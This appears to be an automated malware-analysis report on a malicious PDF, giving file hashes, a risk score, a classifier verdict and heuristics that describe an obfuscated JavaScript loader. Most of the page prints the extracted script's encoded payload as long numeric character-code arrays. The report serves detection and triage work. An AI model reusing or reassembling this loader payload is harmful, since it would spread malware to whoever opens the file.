Malicious PDF / .TXT — malware analysis report

Static analysis result for SHA-256 dd755bfd8cffa27e…

MALICIOUS

PDF / .TXT

11.7 KB First seen: 2026-05-11
MD5: e3d29ad926d15c031ed7ffce82da0cb6 SHA-1: 80e120ba31f5c55394f71e714668086a669123e4 SHA-256: dd755bfd8cffa27eff929b9ade646e96af001f57558bfaeff59a534f4052bf42
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged by a machine learning classifier as malicious with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute arbitrary code. The presence of JavaScript actions and streams strongly suggests the file is designed to download and execute a second-stage payload. The ML_NYX_PDF_MALICIOUS heuristic firing further supports this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0087_000.js pdf-javascript-stream PDF /JS object 87 at offset 0x105 28330 bytes
SHA-256: f9196b90949841cfa897281ea47050aeeb86a548817e5b4a67acc2f324f44a6e
Preview script
First 1,000 lines of the extracted script
W7j9mZH1Y=[96,54,33,50,96,11,40,114,25,45,34,121,117,117,125,98,38,96,52,38,47,96,96,41,96,41,41,96,46,35,50,105,96,46,46,53,57,104,44,33,40,37,44,41,31,56,44,37,39,46,59,37,48,50,40,123,52,55,46,105,104,108,33,57,33,50,114,106,51,124,107,48,48,51,110,48,59,50,61,33,51,51,53,51,37,44,50,52,125,48,51,34,57,52,33,57,46,57,50,39,51,125,108,41,96,46,33,57,51,50,50,112,46,123,111,41,50,48,110,53,105,114,104,57,37,52,44,44,52,37,123,48,47,61,33,50,46,41,37,36,96,46,54,59,37,44,50,46,36,96,52,35,105,48,51,96,38,40,51,53,47,104,104,37,101,28,98,35,51,50,35,48,96,115,33,125,115,112,53,53,33,37,112,3,53,101,116,116,46,101,53,118,112,101,53,119,3,101,112,101,120,115,53,101,53,120,112,120,2,119,3,112,112,101,120,1,3,120,53,113,2,101,4,112,53,116,53,116,112,120,2,101,2,117,53,5,121,115,2,101,2,101,53,112,53,116,120,101,112,120,3,117,53,117,120,119,4,101,2,120,1,101,53,120,116,5,53,116,114,115,1,101,53,5,53,118,53,4,6,101,113,120,53,114,2,101,116,101,3,101,2,120,114,117,118,101,118,116,3]; oH0Lb250sw41BF=[21,85,24,97,101,98,23,85,24,19,5,19,21,20,101,85,21,85,5,98,5,85,16,25,21,85,21,18,5,97,5,24,23,19,5,20,5,99,101,85,19,23,23,21,16,85,16,85,24,85,19,19,5,85,5,85,102,98,5,16,5,98,5,19,18,19,99,22,5,102,23,85,5,85,24,19,21,85,21,17,16,101,5,25,97,16,20,85,20,22,5,102,98,85,19,85,19,19,102,25,5,19,16,85,102,22,19,19,5,20,5,85,19,85,23,100,5,20,20,85,16,85,102,24,16,18,99,17,17,102,5,85,99,24,5,85,102,16,16,19,5,85,23,102,5,85,101,101,101,98,102,24,21,24,5,97,5,100,19,85,22,98,5,19,5,85,21,85,99,21,18,19,5,21,17,85,20,99,101,20,5,22,5,98,20,85,24,98,5,24,16,22,24,85,24,22,24,99,5,97,21,20,5,85,5,98,16,85,24,98,16,19,16,85,16,85,100,85,99,19,5,85,5,85,99,100,5,19,5,19,5,19,19,102,21,101,5,98,24,85,21,85,21,16,21,85,102,85,97,102,5,23,99,24,5,85,16,85,5,18,5,98,98,19,101,85,23,24,5,100,102,102,21,24,5,97,19,102,21,85,24,18,24,97,102,85,18,85,98,85,99,23,5,16,97,85,102,101,5]; TKcaq8i=[18,2,21,2,82,17,98,97,31,2,21,17,31,2,82,19,23,16,82,30,101,98,31,2,97,102,31,17,82,17,17,2,23,2,82,101,82,31,17,17,102,2,18,18,82,21,23,102,101,2,31,2,100,17,82,101,97,2,98,17,31,17,82,17,19,17,98,16,31,17,18,2,82,2,99,30,82,17,82,16,100,2,82,18,98,2,82,18,19,31,82,2,98,19,19,2,18,2,21,23,82,18,98,2,100,2,82,23,82,97,82,98,97,2,20,100,82,20,21,2,20,2,23,2,18,18,82,18,17,2,21,18,23,23,82,30,23,18,101,31,20,31,19,2,20,100,22,100,82,31,23,16,17,18,82,20,82,97,82,18,23,2,82,20,82,16,97,2,23,2,97,2,82,18,19,101,21,2,31,101,82,21,82,22,97,23,82,2,101,31,98,2,102,18,97,2,82,18,31,2,102,2,31,97,16,97,82,30,98,2,18,97,18,101,97,18,17,23,98,20,31,18,20,2,19,23,82,98,82,97,82,18,97,2,16,98,82,100,23,2,18,2,23,2,82,18,82,17,97,2,31,23,19,2,82,17,19,16,82,2,19,20,99,2,82,16,102,16,82,21,23,2,97,2,82,17,82,21,82,17,102,2,22,16,82,17,21,2,97,2,22,2,21,17,82,17,17,16,18]; Xgnps96R4=[116,114,118,112,117,119,117,114,113,54,116,118,102,113,119,119,116,54,113,54,113,5,102,54,117,117,117,54,112,6,117,54,102,119,117,119,102,114,102,5,116,54,116,115,112,117,102,54,117,54,117,54,117,5,102,6,102,54,117,117,102,0,102,5,102,123,113,0,112,5,31,97,115,112,112,116,54,117,115,116,115,118,113,34,53,102,119,112,112,116,54,112,115,102,49,117,54,112,54,115,33,112,115,102,7,120,54,45,54,48,38,99,40,102,106,99,54,38,115,99,107,106,31,97,47,126,32,51,34,32,31,97,115,32,44,32,102,32,115,32,99,53,120,17,115,51,34,54,102,34,16,34,7,54,36,34,57,13,16,49,34,126,37,54,0,5,115,115,99,107,32,4,15,115,32,12,58,25,99,115,32,102,31,97,102,54,115,54,54,38,38,45,102,32,115,54,115,32,115,32,32,48,115,32,115,54,102,32,115,32,102,54,115,32,102,32,102,32,115,32,119,123,115,32,102,118,119,54,102,114,102,54,115,54,115,54,118,54,117,32,102,54,116,54,117,38,102,34,102,37,102,54,116,39,102,122,119,54,102,112,115,32,119,123,117,54,119,113,119,38,118,33,102,119,119,54,116,54,102,114,119,54,118,54,119,33,119,114,102,54,119,122,118,113,118,114,102,119,117]; IcZudH3g25Sq1=[29,17,64,1,18,18,81,16,81,19,81,1,69,1,29,18,81,19,29,19,23,1,66,18,22,1,65,1,23,18,81,1,81,18,69,16,70,16,81,17,21,18,69,16,16,1,65,16,81,17,18,1,21,1,64,17,81,18,22,16,23,1,81,16,81,18,19,17,71,19,23,16,20,19,81,1,23,17,22,1,81,16,17,1,64,1,21,31,19,76,22,17,83,1,75,19,81,72,13,120,6,65,17,81,17,81,19,18,18,20,22,4,76,19,72,70,13,77,4,25,12,79,72,72,71,75,71,23,70,79,10,80,65,72,12,15,31,79,75,28,72,70,67,74,79,71,25,20,71,70,25,70,86,80,24,4,87,75,71,75,74,77,81,72,72,70,64,67,72,23,8,87,18,75,10,65,10,79,4,28,93,19,65,65,76,75,71,9,4,86,76,87,22,72,77,24,20,25,75,73,86,65,86,13,65,4,77,31,75,73,74,25,13,12,67,74,83,80,20,92,66,31,93,86,15,20,31,12,101,73,65,69,95,4,15,4,70,4,31,73,13,77,93,20,22,127,65,76,20,15,25,86,87,4,77,72,72,121,84,71,65,10,75,120,6,72,72,77,77,113,71,79,71,80,74,89,31,75,81,83,76,124,69,12,64,84,86,112,78,80,64,94,108,126,71,86,72,81,8]; E48uJL=[88,112,79,120,68,82,111,108,106,107,77,70,78,123,67,69,76,6,116,10,107,103,102,19,1,70,97,1,74,8,95,8,93,77,65,88,92,101,0,92,90,0,76,92,94,80,89,73,108,65,102,113,70,78,123,112,114,121,102,123,116,10,92,71,120,97,8,0,68,108,99,69,77,65,77,70,66,111,77,102,65,76,69,78,116,10,70,67,98,102,111,1,1,73,4,99,92,92,83,71,65,79,99,19,70,6,91,8,70,93,68,8,69,65,95,6,81,68,68,19,1,90,92,120,73,93,75,77,64,75,95,90,88,73,85,77,81,8,85,73,8,102,81,0,90,1,68,83,64,73,65,122,78,77,92,65,92,111,123,73,108,6,92,73,82,73,123,70,92,8,85,0,79,110,77,114,70,93,107,8,0,70,93,103,108,76,4,1,100,19,1,68,65,71,65,77,0,92,95,65,75,78,70,8,90,92,70,92,93,88,119,73,94,73,76,68,78,83,81,0,77,21,1,24,88,77,27,73,71,8,90,73,75,106,88,93,16,93,16,70,93,24,107,107,24,27,30,93,27,16,16,91,13,106,13,28,13,93,13,108,24,93,13,24,28,93,13,116,10,0,24,28,93,13,106,31,107,13,106,109,93,13,24,31,16,24,93,13,107,28,106,16,106,105,24,13,93,25,108]; crFJ6632b9=[15,117,15,15,2,66,18,15,15,118,3,66,18,7,7,14,2,116,0,66,18,66,114,113,3,66,18,116,115,66,18,66,1,66,18,66,18,5,114,66,18,3,4,6,18,5,2,3,3,117,4,117,2,66,18,118,2,117,5,66,18,14,15,118,114,116,114,4,15,66,114,5,7,117,15,118,15,66,18,1,2,3,2,66,18,4,2,66,0,0,4,66,18,4,18,4,7,1,2,4,0,66,18,2,4,66,18,66,2,117,15,66,7,3,0,15,18,4,0,7,113,116,113,4,18,4,18,1,18,115,116,66,18,66,4,14,3,1,5,117,15,66,18,4,4,14,18,113,7,66,18,7,18,1,4,66,18,6,118,66,3,3,2,66,18,66,18,5,6,3,116,113,113,66,18,113,113,66,0,66,116,4,7,114,117,15,7,117,18,66,4,7,2,6,18,66,114,66,18,66,7,2,2,66,18,113,114,66,18,15,4,115,7,117,3,114,113,15,18,15,113,66,18,4,3,1,7,66,18,2,1,1,7,118,114,3,18,66,0,4,116,1,2,117,15,66,18,116,15,116,5,66,18,4,115,4,6,117,15,66,18,66,18,115,15,15,3,3,15,66,18,117,7,66,18,66,18,4,7,66,2,117,15,118,18,15,7,4,0,4,116,114,18,66,18,113,7,115,2]; d8jSJY3BVYj887=[34,114,34,114,101,98,103,20,100,98,34,98,22,111,101,22,21,98,96,114,111,114,22,18,34,114,100,20,34,100,111,21,34,114,34,114,96,17,21,114,103,111,34,114,17,20,34,17,34,22,17,17,17,17,101,100,98,114,111,97,18,97,101,17,34,114,34,114,18,21,21,22,34,114,34,96,97,111,111,101,17,99,34,97,103,21,21,114,111,110,34,114,34,114,22,97,34,114,97,22,111,97,98,97,34,114,34,114,103,98,103,97,20,97,34,114,98,97,18,18,34,114,20,97,111,110,99,97,111,114,34,96,99,103,111,101,18,21,34,114,17,96,98,110,34,114,18,111,34,103,99,97,101,99,103,98,21,111,34,114,20,18,34,114,18,98,100,114,34,114,17,114,34,20,19,98,18,114,34,17,103,98,100,111,98,98,100,114,103,114,97,100,34,114,100,111,103,98,99,98,34,114,34,114,103,103,101,114,102,98,34,114,17,96,34,98,34,114,101,20,34,100,101,20,34,114,99,103,17,98,111,21,22,114,34,114,97,100,34,98,34,100,34,101,100,17,17,17,98,102,34,98,111,21,17,114,111,110,21,114,34,114,97,98,34,114,96,98,98,98,103,96,34,17,34,114,18,17,22,114,96,111,34,114,17,103,17,18,34,114,103,17,18,103,99,97,111,114,99]; UDmb7Sn56sYd=[15,126,124,15,9,114,8,63,111,122,122,12,124,63,111,12,125,11,125,14,124,122,125,63,120,123,124,63,111,11,121,63,111,63,111,123,111,63,111,12,125,63,111,127,127,126,111,63,111,120,125,123,125,120,121,63,111,123,120,124,124,63,111,121,127,126,125,15,124,127,111,63,124,126,120,126,121,120,124,63,111,12,120,126,124,63,111,127,125,63,120,124,126,63,111,122,125,9,124,63,111,9,120,63,111,12,124,63,111,63,125,63,124,63,125,124,124,15,111,122,125,123,124,12,124,14,121,114,111,12,111,122,124,63,111,120,121,124,124,121,125,63,121,63,111,122,121,126,111,121,124,63,111,12,127,122,122,99,106,60,121,63,113,122,119,36,111,111,22,104,41,63,56,43,122,121,47,36,111,57,122,99,98,11,58,37,22,104,22,104,111,11,122,63,119,11,122,36,63,11,113,60,122,47,122,11,97,34,122,11,111,11,58,43,58,43,122,63,43,58,37,37,47,33,106,56,122,11,41,63,38,51,35,40,38,45,106,56,37,58,98,41,43,40,63,38,122,11,43,37,113,46,122,119,113,47,41,56,40,60,43,63,58,43,33,11,106,57,58,57,111,22,104,122,43,106,11,111,63,56,47,119,51,47,34,120,119,47,36,46,57,35,34,43,60,47,11,43,43]; cuk538UWN=[13,115,35,97,120,48,43,57,122,48,52,56,34,106,35,52,39,62,97,52,50,121,52,53,43,35,61,51,33,58,54,57,52,61,127,63,56,37,61,56,51,109,38,51,108,106,57,61,34,58,50,61,127,48,35,37,40,51,54,54,57,63,52,33,52,50,51,54,58,62,42,106,44,51,54,120,56,54,113,61,51,61,62,35,48,61,56,50,62,58,51,51,108,55,50,35,37,122,58,62,56,50,62,39,56,51,56,61,61,125,61,63,34,36,34,48,97,51,108,127,58,33,56,58,35,62,113,39,50,121,54,34,51,35,48,121,106,63,51,36,54,51,61,125,54,35,37,54,51,124,54,33,34,63,56,62,61,120,40,50,62,56,35,37,51,51,97,61,127,127,58,61,34,48,52,51,121,58,61,62,57,34,57,52,52,61,50,58,50,97,101,120,40,38,127,41,54,63,61,122,106,120,97,56,97,33,34,97,97,62,40,44,106,48,35,58,122,109,61,37,42,62,61,113,35,58,50,61,50,51,108,51,57,52,60,48,60,51,122,62,48,62,61,58,50,14,40,58,50,52,56,48,35,51,39,55,61,48,61,121,40,106,97,48,39,108,35,35,63,106,35,35,55,113,120,62,38,121,16,109,56,113,35,14,97,35,106,122,48,56,108,97,122,48,60,52,40,101,96]; JQN17aluZs37s=[116,32,50,96,52,36,34,59,40,114,20,32,40,59,38,37,18,37,112,39,112,112,43,42,105,112,38,44,34,42,113,120,112,112,60,63,112,112,33,98,116,36,112,113,112,113,123,112,113,113,43,57,113,112,112,112,113,113,113,113,112,112,113,113,113,113,113,113,113,113,113,113,112,112,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113]; e1LtQzQrDBtAuj=[52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,126,52,52,52,52,52,80,46,36,52,124,52,52,52,52,98,96,55,37,52,52,101,120,34,55,52,41,106,113,109,97,98,101,60,121,80,46,106,106,52,120,111,105,101,56,57,99,119,121,32,98,120,99,96,97,121,110,60,126,109,44,83,60,111,96,98,37,36,105,104,105,100,96,101,99,109,105,44,122,127,96,98,111,96,127,111,121,49,41,80,46,63,78,41,109,36,63,124,121,58,105,41,60,41,121,52,121,79,121,56,60,41,60,52,121,59,78,41,56,41,52,41,60,56,121,52,79,52,78,63,60,60,52,52,79,60,78,52,121,77,78,41,72,73,53,60,121,61,121,57,72,41,121,60,60,57,121,59,79,56,121,41,56,52,52,41,78,41,52,58,121,73,77,63,78,41,121,73,121,59,121,56,79,41,79,41,121,56,74,41,60,41,61,41,56,63,62,57,77,41,58,72,62,73,121,73,79,62,78,57,62,57,56,41,78,52,77,57,121,57,77,41,57,56,121,73,121,52,121,52,53,41,78,60,121,52,63,41,78,41,58,41,121,59,121,63,63,41,79,57,121,57,121,57,78,52,121,41,56,59,59,41,121,59,52,41,121,74,58,41,63,41,60,60,121,41,121,52,58,63,78,74]; mwbkZHRy=[102,103,102,112,102,22,101,101,32,102,102,112,108,102,32,98,32,102,99,97,102,112,108,19,32,20,102,101,17,112,19,112,32,97,32,100,103,112,97,23,102,22,32,96,100,101,16,112,109,19,19,112,32,102,19,101,32,22,102,98,109,112,32,16,32,101,32,101,23,112,17,16,32,19,23,112,100,112,97,112,20,97,101,22,23,112,102,102,19,109,32,16,16,96,109,101,32,109,22,112,96,103,102,97,32,98,32,112,23,112,32,101,99,99,32,19,96,112,109,112,102,96,22,112,99,112,109,96,32,100,99,101,97,17,32,96,32,109,32,97,102,112,32,112,32,109,23,112,102,112,20,112,23,22,19,22,102,112,109,101,32,112,32,109,101,101,32,98,109,22,20,112,102,96,17,109,32,101,97,112,20,109,32,96,32,102,109,96,17,112,16,16,32,23,102,20,103,112,23,112,32,96,32,19,98,112,19,20,32,19,32,19,19,19,19,22,103,96,101,112,32,102,103,112,32,19,16,109,98,112,32,98,109,112,32,97,99,23,19,99,96,99,96,112,103,112,23,103,32,109,16,112,22,112,32,99,32,99,109,20,101,112,23,99,32,96,16,20,23,112,19,112,109,99,32,98,101,112,101,108,20,99,32,108,99,16,109,112,103,99,96,112,32,112,109,23,32,99,109]; k8j75NNAEpjth=[125,123,121,58,120,58,121,58,123,12,106,58,106,58,121,10,106,10,106,10,106,11,122,123,122,119,106,127,127,58,119,58,13,10,122,58,119,58,122,13,106,122,124,124,106,58,9,58,106,121,106,9,118,127,122,58,10,9,106,12,127,123,122,127,106,127,119,122,127,58,12,123,120,124,119,58,124,58,122,58,12,124,106,125,124,58,122,126,106,119,106,124,106,58,13,121,12,127,106,125,127,9,106,58,122,124,125,58,122,127,122,119,106,125,120,122,9,58,126,9,106,121,106,58,124,58,122,123,9,120,106,14,118,58,9,119,122,13,106,123,106,9,9,58,121,14,106,9,122,10,10,58,127,122,119,10,122,127,127,120,106,58,106,10,13,58,12,58,13,9,106,58,10,9,106,58,120,127,9,58,106,122,122,127,106,123,106,119,127,58,120,123,106,119,106,58,120,58,120,58,121,123,106,14,121,58,125,126,106,9,106,126,106,125,125,58,125,126,106,9,121,14,121,58,124,9,121,123,125,10,121,126,106,121,120,122,121,58,120,11,124,123,122,58,120,58,125,58,120,124,106,58,121,58,124,9,106,123,106,125,106,58,120,9,123,125,106,121,120,58,121,58,121,121,121,58,106,126,120,12,106,122,121,10,106,58,121,127,106,127,106,9,125,127,120,58,124,124,106]; P5U6sz8HDeb=[105,25,26,31,110,28,18,28,26,28,108,29,30,15,30,28,95,25,95,26,95,28,24,15,28,25,95,25,25,10,88,118,8,26,15,95,75,95,117,26,15,75,17,71,88,3,25,92,79,71,79,68,88,3,75,88,23,88,75,88,17,83,26,107,26,73,2,83,10,93,73,73,75,23,17,88,26,92,75,92,75,73,26,26,26,88,69,78,26,78,10,73,10,89,10,73,78,75,70,79,17,26,88,92,89,23,26,82,26,23,73,79,79,70,68,73,10,88,30,82,70,26,94,77,79,70,79,68,70,117,78,4,26,78,68,66,2,75,92,17,0,66,17,24,3,7,95,1,70,89,23,92,75,18,68,79,88,75,118,8,95,17,3,25,82,88,79,73,89,88,10,15,118,8,89,88,90,75,15,26,73,89,2,117,19,90,79,68,19,75,19,76,90,26,83,23,75,26,88,75,90,89,94,67,19,83,83,26,68,95,23,3,73,73,67,2,117,79,70,6,17,73,24,82,2,92,10,23,69,26,26,7,17,94,69,73,68,95,3,76,26,26,75,26,2,88,78,92,30,82,69,88,75,5,69,88,69,95,68,95,26,88,68,94,10,78,75,73,88,69,22,94,94,73,73,17,68,95,23,94,79,88,117,71,95,71,83,23,17,26,81,68,113,83,24,75,1,75,75]; O7B73TSZF9BMeP9=[105,49,107,48,42,44,55,46,105,35,39,45,33,39,36,52,46,98,52,39,45,50,49,31,54,63,121,114,38,42,33,33,43,48,48,114,55,106,39,46,45,106,55,52,45,103,30,96,114,33,45,33,55,127,103,39,46,35,114,33,121,107,39,44,53,49,48,112,54,37,30,96,42,126,108,50,39,44,53,119,33,118,118,39,52,46,36,53,123,45,57,107,39,39,45,45,46,46,127,36,48,36,48,45,53,46,45,45,46,43,35,105,63,45,53,54,17,54,33,46,46,45,45,108,49,32,52,47,7,39,35,121,39,32,46,54,33,48,42,43,45,33,108,49,1,36,44,46,46,127,35,30,96,46,47,110,121,107,36,48,106,30,96,120,57,37,52,11,120,32,49,45,55,39,40,36,63,45,46,32,33,37,43,98,29,45,106,54,44,54,35,46,43,44,55,63,53,45,33,46,46,45,108,108,46,44,45,32,39,108,33,33,57,48,39,35,48,107,1,37,127,43,50,106,36,52,45,98,48,54,35,57,107,50,35,33,11,44,52,59,106,44,35,52,121,45,38,107,52,3,98,48,35,59,50,53,39,30,96,98,35,39,50,35,59,106,55,103,48,48,127,35,114,42,118,33,55,103,39,55,44,113,49,39,54,1,0,115,1,114,55,103,122,103,55,122,114,114,55]; Wj3bcD=[0,80,0,21,17,21,17,22,22,80,0,102,18,103,29,80,18,97,0,103,29,102,19,29,0,29,21,97,29,21,17,103,16,80,100,28,29,21,96,80,0,80,0,80,21,17,22,103,29,80,0,100,17,80,19,103,17,102,18,102,0,103,23,80,0,103,0,29,16,21,29,80,0,80,96,100,16,23,22,20,97,80,0,103,17,100,0,17,0,80,0,80,0,102,96,19,0,80,0,23,29,28,29,99,16,103,96,100,0,22,29,80,96,80,0,23,96,16,16,19,16,80,16,17,16,80,21,17,16,18,18,80,0,103,18,80,0,80,0,22,21,19,29,80,0,80,18,22,22,103,29,102,22,80,0,28,17,22,102,80,0,80,0,80,0,22,21,99,0,80,0,103,29,22,22,29,18,21,23,20,16,28,99,80,0,97,100,19,16,22,99,21,21,19,22,22,99,23,21,22,99,80,17,96,22,29,22,80,0,80,0,80,103,22,18,99,0,80,0,21,17,22,21,17,20,29,21,80,0,29,16,80,0,20,0,80,102,17,99,80,0,80,0,97,21,99,18,103,96,80,0,29,99,103,0,100,0,16,0,99,0,16,102,80,0,103,22,19,96,19,19,96,29,80,96,22,16,17,23,80,0,80,0,80,21,103,17,29,102,80,0,102,17,80,21,22,29,103,29]; aVGPiFN=[83,3,21,30,83,23,16,3,101,22,100,19,83,22,83,19,18,22,21,98,103,30,83,3,99,21,21,3,83,3,83,3,83,3,22,30,100,3,20,3,21,19,21,100,98,101,21,101,96,30,17,19,83,3,103,101,96,19,30,22,30,103,83,99,103,19,22,101,98,17,30,19,83,3,20,21,83,3,83,3,17,96,30,30,20,3,83,96,99,20,96,96,96,96,83,3,83,100,20,103,83,3,83,3,83,3,100,16,101,3,83,3,96,18,30,16,100,16,19,3,30,31,22,99,83,3,100,103,99,103,16,96,83,3,16,16,22,17,103,16,19,16,83,3,30,100,96,16,83,3,83,3,83,31,99,30,99,3,83,3,18,19,30,16,22,20,18,16,83,3,20,19,83,17,30,3,83,30,98,16,83,17,83,3,101,16,83,96,30,100,19,3,101,99,99,3,83,3,19,3,99,22,96,16,83,3,22,19,99,22,22,19,18,18,83,19,20,30,21,21,16,3,83,3,83,101,22,19,19,30,83,3,100,19,23,21,21,31,18,19,83,3,22,101,83,101,21,3,22,22,20,19,96,17,83,19,96,96,21,30,20,17,83,3,103,20,30,3,83,3,83,3,83,3,17,100,30,3,83,3,96,23,96,19,100,19,22,3,99,100,103,30,83,3,16,19,16,21,18]; JY5EhYno2zfy=[27,94,14,94,24,19,109,110,109,30,30,94,14,94,14,31,27,94,14,94,14,24,27,28,18,19,14,109,110,31,27,30,30,109,105,94,110,94,30,110,109,94,14,94,14,94,14,30,30,31,29,94,14,109,109,94,25,27,29,27,28,106,24,26,29,94,14,109,14,27,28,109,104,94,14,31,29,31,29,106,28,19,28,94,14,26,29,26,29,29,25,94,14,94,28,111,28,25,14,94,14,31,29,24,30,26,24,110,29,30,14,25,28,94,28,25,14,94,25,29,31,109,25,94,29,109,29,94,29,30,29,29,14,104,14,31,14,94,14,94,14,109,25,24,24,94,14,94,28,31,29,109,29,19,29,94,14,29,29,111,29,26,14,94,14,94,14,27,28,27,14,94,14,104,24,27,28,110,25,27,28,94,119,9,31,24,94,29,94,14,27,28,27,24,109,30,27,27,24,101,25,24,93,24,104,16,2,24,89,93,78,91,94,14,67,11,16,74,95,27,71,27,22,124,90,25,27,30,93,95,3,27,124,67,1,67,22,89,27,78,67,71,30,90,89,74,74,93,27,31,74,82,11,5,27,104,27,27,83,69,2,0,69,6,78,76,82,27,89,74,14,119,9,72,88,24,11,93,19,91,83,101,22,18,27,27,16,78,88,18,94,94,74,74,69,88,94,18,89]; z7G14EMaZq7=[95,70,10,31,18,86,20,6,7,74,20,73,115,13,31,22,6,78,89,67,93,112,87,93,95,95,92,70,31,26,100,76,110,91,7,69,2,86,3,15,78,31,18,76,31,87,95,27,87,25,31,73,26,76,31,76,31,7,31,27,87,65,74,31,31,31,31,31,31,6,31,20,31,86,0,31,73,78,89,7,25,126,18,31,31,64,20,69,93,26,76,107,110,22,107,15,93,94,89,73,126,78,89,19,93,31,95,116,26,6,4,89,20,4,126,89,89,25,100,25,22,76,94,76,94,94,76,93,86,107,86,18,114,25,22,89,86,126,91,92,93,86,91,122,20,4,95,78,84,74,25,71,98,77,97,22,107,78,95,10,18,71,86,74,86,88,20,82,115,13,78,89,88,104,97,74,1,88,15,93,95,115,13,7,92,90,71,74,67,97,71,22,31,91,65,98,122,6,65,71,91,98,19,70,67,31,18,76,71,72,78,31,31,104,77,91,7,98,122,27,122,74,31,104,87,4,88,98,122,104,77,6,77,91,84,104,71,91,88,20,77,18,88,97,82,97,71,91,4,97,78,104,115,13,115,13,77,97,75,95,1,72,71,64,74,20,88,98,122,1,76,65,108,76,70,77,64,1,95,91,1,82,20,91,7,89,71,73,78,64,102,64,65,91,78,98,122,89,127]; EW47NPfwt8Y1o=[113,106,81,124,91,91,115,115,88,125,63,122,109,55,91,100,105,49,54,104,54,98,118,108,122,118,89,104,79,79,73,63,109,122,109,89,118,109,36,54,113,112,126,34,55,108,122,107,107,118,122,111,111,120,76,112,109,105,56,126,36,54,113,118,112,109,112,113,122,109,115,111,63,109,49,113,67,67,48,113,112,122,49,124,105,108,109,55,118,51,109,34,56,108,105,126,122,126,109,34,102,64,113,48,105,109,120,63,91,126,94,119,124,108,126,112,104,122,113,109,105,112,118,49,109,55,113,122,55,109,126,49,118,49,113,108,109,122,124,51,54,126,105,109,126,112,94,107,94,51,113,108,109,119,102,107,105,119,55,47,55,45,54,46,118,107,54,109,121,109,126,105,94,118,36,122,124,108,109,113,126,126,64,55,112,55,57,112,118,118,55,47,68,54,105,109,109,102,126,112,108,126,113,39,34,109,118,34,55,34,66,64,126,99,126,54,34,68,99,108,109,57,54,66,46,46,102,126,105,109,102,105,47,57,34,46,68,109,108,66,109,44,35,34,66,112,118,126,109,113,112,126,54,68,126,108,57,109,126,126,64,118,109,54,118,113,118,64,107,121,115,102,45,109,109,98,113,54,55,126,109,106,100,118,36,109,55,121,111,126,107,66,47,64,126,108,109,68,102]; lW1d4k=[19,14,18,1,15,9,72,14,63,73,72,92,18,1,14,15,15,9,61,18,1,22,63,22,1,63,9,18,88,25,70,1,28,18,1,28,18,61,22,70,70,80,81,59,93,19,59,88,9,93,14,15,27,73,82,59,92,19,18,82,1,1,25,18,22,63,18,70,25,1,15,3,92,61,29,1,6,63,1,9,5,9,2,13,72,91,73,22,12,12,73,82,12,9,72,72,28,18,59,28,19,18,1,72,89,92,1,14,93,9,59,89,15,73,19,70,63,25,18,1,92,1,61,80,15,22,1,18,1,18,63,14,22,81,70,18,18,93,25,1,61,80,18,25,9,19,81,59,1,9,18,1,14,61,20,73,73,63,15,15,73,72,14,15,12,12,1,3,9,5,22,18,3,1,2,63,7,63,27,91,15,18,63,14,14,15,93,1,19,1,29,59,18,1,72,4,18,18,70,70,6,9,25,72,1,25,1,22,89,61,73,81,18,9,80,19,20,93,9,18,73,72,36,48,93,14,16,82,91,93,59,29,64,64,61,27,48,73,64,91,29,36,64,48,64,64,64,64,36,64,64,64,64,64,64,64,38,38,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,66]; q0q5w=[20,15,89,78,93,15,119,100,23,126,25,103,98,76,24,18,100,71,29,118,66,77,22,26,26,1,92,95,67,70,91,7,13,13,6,20,15,89,78,93,15,126,118,77,67,85,18,25,26,25,30,20,15,89,78,93,15,88,124,28,94,99,30,26,125,103,27,18,22,20,15,89,78,93,15,98,120,23,26,91,90,76,121,29,125,74,126,28,18,65,74,88,15,110,93,93,78,86,7,29,3,25,3,24,3,26,3,28,3,24,3,30,3,29,3,27,6,20,15,89,78,93,15,92,25,29,120,76,3,74,100,31,76,26,66,86,92,3,120,29,78,75,108,30,65,30,69,102,103,3,65,25,89,89,123,109,95,26,95,3,87,30,24,124,24,103,76,3,105,119,117,31,118,106,98,120,3,90,106,103,105,119,23,76,76,122,22,106,69,20,73,64,93,15,7,74,100,31,76,26,66,86,92,18,31,20,15,74,100,31,76,26,66,86,92,19,88,124,28,94,99,30,26,125,103,27,20,15,74,100,31,76,26,66,86,92,4,4,6,15,15,84,15,15,15,15,15,15,89,78,93,15,77,109,86,107,118,27,18,98,120,23,26,91,90,76,121,29,125,74,126,28,116,74,100,31,76,26,66,86,92,114,5,29,20,15,15,15,15,89,78,93,15,117,27,89,102,78,66]; 